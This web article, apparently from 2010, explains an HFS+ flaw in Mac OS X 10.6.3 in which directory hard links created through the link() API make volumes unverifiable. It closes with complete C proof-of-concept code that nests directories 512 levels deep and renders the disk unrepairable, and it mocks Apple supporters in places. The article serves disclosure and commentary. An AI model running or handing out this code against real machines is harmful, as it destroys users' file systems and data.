About | ACP | Buy | Forum | Industry Watch | Learning Curve | Search | Twitter | Xnews
Home » Industry WatchThe Technological » Hall of Monkeys » Heroes Banquet)

Apple File System Denial of Service

All the king's horses and all the king's men couldn't put HFS together again.


Buy It

Try It

Apple's file system HFS, used in their computer OS and their mobile devices, contains a fatal flaw that can render a file system unusable and unrecoverable. The discovery was submitted to the Full Disclosure mailing list on 23 April along with POC code.

The vulnerability is known to affect Snow Leopard 10.6.3. Any iteration of HFS with the same 'Apple features' is likely to be affected as well.

HFS & Hard Links

HFS is known to have difficulty with Unix hard links. The implementation, dating back some time now, is known to not be perfect (but as good as it gets). HFS has serious compatibility issues with Unix file system architecture as pointed out at this site on numerous occasions.

Hard links are a cornerstone of Unix. They're simply alternative paths for the same physical file on the same volume. A great number of standard Unix utilities found on OS X systems are hard-linked and function only because they're hard-linked.

The listing below comes from 10.6.3's /usr/bin. The third column is the number of links. There are files in /usr/bin with 15, 24, and 37 links each. Hard links are a cornerstone of Unix.

 131078 -rwxr-xr-x     5 root   wheel    -      925 Jul  8  2009 2to3
3097729 -rwxr-xr-x     2 root   wheel    -    30797 May 18  2009 aclocal
3097729 -rwxr-xr-x     2 root   wheel    -    30797 May 18  2009 aclocal-1.10
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 alias
2724933 -r-xr-xr-x     2 root   wheel    -    89072 Feb 11 07:57 arch
2724934 -r-sr-xr-x     4 root   wheel    -   110720 Feb 11 07:58 at
2724934 -r-sr-xr-x     4 root   wheel    -   110720 Feb 11 07:58 atq
2724934 -r-sr-xr-x     4 root   wheel    -   110720 Feb 11 07:58 atrm
3097732 -rwxr-xr-x     2 root   wheel    -   232943 May 18  2009 automake
3097732 -rwxr-xr-x     2 root   wheel    -   232943 May 18  2009 automake-1.10
2724934 -r-sr-xr-x     4 root   wheel    -   110720 Feb 11 07:58 batch
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 bg
2724944 -rwxr-xr-x     3 root   wheel    -   121968 Feb 11 06:10 bunzip2
2724944 -rwxr-xr-x     3 root   wheel    -   121968 Feb 11 06:10 bzcat
2724944 -rwxr-xr-x     3 root   wheel    -   121968 Feb 11 06:10 bzip2
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 c2ph
 119982 -r-xr-xr-x     2 root   wheel    -    60944 May 18  2009 cal
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 cd
2724953 -r-sr-xr-x     3 root   wheel    -   100000 Feb 11 07:59 chfn
2724953 -r-sr-xr-x     3 root   wheel    -   100000 Feb 11 07:59 chpass
2724953 -r-sr-xr-x     3 root   wheel    -   100000 Feb 11 07:59 chsh
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 command
 117579 -r-xr-xr-x     2 root   wheel    -    52352 Jul 14  2009 compress
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 config_data
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 corelist
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 cpan
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 cpan2dist
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 cpanp
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 cpanp-run-perl
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 crc32
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 dbilogstrip
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 dbiprof
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 dbiproxy
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 dprofpp
 135137 -rwxr-xr-x     2 root   wheel    -      925 Jul  1  2009 easy_install
2724969 -rwxr-xr-x     2 root   wheel    -   227488 Feb 11 06:54 egrep
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 enc2xs
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 fc
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 fg
2724969 -rwxr-xr-x     2 root   wheel    -   227488 Feb 11 06:54 fgrep
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 find2perl
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 getopts
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 gluedialect
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 gluedoc
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 glueedit
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 gluemac
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 gluescriptadds
3098128 -rwxr-xr-x     2 root   wheel    -   287296 May 18  2009 gm4
  98174 -r-xr-xr-x     3 root   wheel    -    63632 May 18  2009 groups
 117677 -rwxr-xr-x     2 root   wheel    -   142880 Jul 14  2009 gzip
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 h2ph
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 h2xs
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 hash
2724981 -r-xr-xr-x     2 root   wheel    -   101392 Feb 11 06:47 hexdump
  98174 -r-xr-xr-x     3 root   wheel    -    63632 May 18  2009 id
 131078 -rwxr-xr-x     5 root   wheel    -      925 Jul  8  2009 idle
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 instmodsh
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 ipcount
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 iptab
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 jobs
2724995 -rwxr-xr-x     2 root   wheel    -   276496 Feb 11 06:53 less
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 libnetcfg
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 lwp-download
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 lwp-mirror
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 lwp-request
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 lwp-rget
3098128 -rwxr-xr-x     2 root   wheel    -   287296 May 18  2009 m4
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 macerror
2724933 -r-xr-xr-x     2 root   wheel    -    89072 Feb 11 07:57 machine
 119956 -r-xr-xr-x     2 root   wheel    -   271440 May 18  2009 mail
 119956 -r-xr-xr-x     2 root   wheel    -   271440 May 18  2009 mailx
  82134 -r-xr-xr-x     2 root   wheel    -   110352 May 18  2009 man
2724995 -rwxr-xr-x     2 root   wheel    -   276496 Feb 11 06:53 more
 119982 -r-xr-xr-x     2 root   wheel    -    60944 May 18  2009 ncal
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 perlbug
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 perlcc
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 perldoc
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 perlivp
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 perlthanks
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 piconv
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 pl2pm
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 pod2html
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 pod2latex
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 pod2man
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 pod2readme
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 pod2text
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 pod2usage
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 podchecker
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 podselect
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 prove
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 psed
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 pstruct
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 ptar
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 ptardiff
 131078 -rwxr-xr-x     5 root   wheel    -      925 Jul  8  2009 pydoc
2725053 -rwxr-xr-x     2 root   wheel    -    86000 Feb 11 09:58 python
 131078 -rwxr-xr-x     5 root   wheel    -      925 Jul  8  2009 python-config
2725053 -rwxr-xr-x     2 root   wheel    -    86000 Feb 11 09:58 pythonw
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 read
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 s2p
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 shasum
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 spfd
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 spfquery
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 splain
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 type
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 ulimit
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 umask
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 unalias
 117579 -r-xr-xr-x     2 root   wheel    -    52352 Jul 14  2009 uncompress
 141487 -rwxr-xr-x     2 root   wheel    -   265392 May 18  2009 unzip
 135414 -r-xr-xr-x     2 root   wheel    -    64176 May 18  2009 uptime
 135414 -r-xr-xr-x     2 root   wheel    -    64176 May 18  2009 w
 135381 -r-xr-xr-x    15 root   wheel    -      190 May 18  2009 wait
  98174 -r-xr-xr-x     3 root   wheel    -    63632 May 18  2009 whoami
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 wxperl_demo.pl
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 wxperl_overload
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 wxperl_xspp
 135137 -rwxr-xr-x     2 root   wheel    -      925 Jul  1  2009 xattr
  82134 -r-xr-xr-x     2 root   wheel    -   110352 May 18  2009 xcman
3099410 -rwxr-xr-x     2 root   wheel    -    63728 Jul 11  2009 xcodebuild
3099410 -rwxr-xr-x     2 root   wheel    -    63728 Jul 11  2009 xcrun
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 xgettext.pl
 102562 -rwxr-xr-x    24 root   wheel    -      807 May 19  2009 xpath
 121796 -rwxr-xr-x    37 root   wheel    -      807 Jun 24  2009 xsubpp
 117677 -rwxr-xr-x     2 root   wheel    -   142880 Jul 14  2009 zcat
 141487 -rwxr-xr-x     2 root   wheel    -   265392 May 18  2009 zipinfo

But hard links apply only to files. They don't apply to directories. And for several good reasons, the most important of which is they don't make sense. Other relatively minor reasons include the prospect of accidentally hosing an entire file system (and yes this makes your Mac very unhappy).

Things changed with the introduction of Apple's Time Machine however. Although the basic idea of Time Machine can be realised without risking disaster, Apple chose to not play it careful. Time Machine uses hard links on files to save archiving the same thing over and over again. Storage for repeated directories would not have been cost-prohibitive.

[There have been claims by the extremely psychotic that Apple deliberately chose a flawed design of hard links because their crystal balls hinted they'd create a product called Time Machine fifteen years later. These mentally ill individuals will also tell you most Unix utilities can't handle hard links even after over thirty years of use, so it's not so bad Apple screw up too. Beware their Apple-flavoured Kool-Aid™.]

Users cannot create hard links to directories from the command line but lo and behold they can from the 'Unix' API. Note that the 'man page' supplied by Apple still insists hard links to directories are not allowed. But guess what? That's where the denial of service exploit comes in.

LINK(2)                     BSD System Calls Manual                    LINK(2)

NAME
     link -- make a hard file link

SYNOPSIS
     #include <unistd.h>

     int
     link(const char *path1, const char *path2);

DESCRIPTION
     The link() function call atomically creates the specified directory entry
     (hard link) path2 with the attributes of the underlying object pointed at
     by path1. If the link is successful, the link count of the underlying
     object is incremented; path1 and path2 share equal access and rights to
     the underlying object.

     If path1 is removed, the file path2 is not deleted and the link count of
     the underlying object is decremented.

     In order for the system call to succeed, path1 must exist and both path1
     and path2 must be in the same file system. As mandated by POSIX.1, path1
     may not be a directory.

     link() will resolve and follow symbolic links contained within both path1
     and path2. If the last component of path1 is a symbolic link, link()
     will point the hard link, path2, to the underlying object pointed to by
     path1, not to the symbolic link itself.

STANDARDS
     The link() function is expected to conform to IEEE Std 1003.1-1988
     (``POSIX.1'').

4th Berkeley Distribution      October 29, 2008      4th Berkeley Distribution

The effect of the hack appears when attempting to check a disk with fsck. The damage cannot be repaired: diskutil, fsck_hfs, and similar utilities are helpless. The system is hosed. Reformatting is the only option.

$ diskutil verifyVolume
Started filesystem verification
Performing live verification
Checking Journaled HFS Plus volume
Checking extents overflow file
Checking catalog file
Checking multi-linked files
Checking catalog hierarchy
Checking extended attributes file
Checking multi-linked directories
Maximum nesting of folders and directory hard links reached
The volume could not be verified completely
Error: -9957: Filesystem verify or repair failed
Underlying error: 8: POSIX reports: Exec format error

Proof of Concept

Following is the proof of concept code. Think twice about trying this: you really don't want to do this at home (unless you have an entire Mac to waste).

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>

int comein(char *name) {
    if (chdir(name)) {
        printf("Can't chdir to '%s'.\n", name); exit(1);
    } else
        return 0;
}

int connlink(char *path1, char *path2) {
    if (link(path1, path2)) {
        printf("Can't create link '%s' --> '%s'.\n", path1, path2); exit(1);
    } else
        return 0;
}

int createdir(char *path) {
    if (mkdir(path, ((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0)) | S_IWUSR | S_IXUSR)) {
        printf("Can't create directory '%s'.\n", path); exit(1);
    } else
        return 0;
}

int main(int argc, char *argv[]) {
    FILE *fp; int level = (argc == 2)? atoi(argv[1]): 512;

    createdir("C");
    createdir("C/C");
    connlink("C/C", "CX");
    comein("C");

    while (level--)
        printf("Level: %d  mkdir: %d  chdir: %d.\n", level, createdir("C"), comein("C"));

    printf("Now run 'diskutil verifyVolume /', fanboy.\n"); return 0;
}

The exploit has been assigned CVE-2010-0105 and was posted by Maksymilian Arciemowicz of Security Reason who had another bug fixed by Apple after only a nine month wait (1 July 2009 - 29 March 2010).

Apple actually designed the multi-links in HFS+ primarily to support Time Machine. File system utilities are typically unprepared to handle multi-linked files.
 - Daniel Eran Dilger

See Also
Developers Workshop: GDE-FAQ
Developers Workshop: HFS: The Good & The Bad
Developers Workshop: iPhone OS System Architecture
Developers Workshop: Getting Around HFS+ Private Data

Google Search: 'Maximum nesting of folders and directory hard links reached'
Security Reason: MacOS X 10.6.3 File System HFS Denial of Service Vulnerability

About | ACP | Buy | Forum | Industry Watch | Learning Curve | Search | Twitter | Xnews
Copyright © Rixstep. All rights reserved.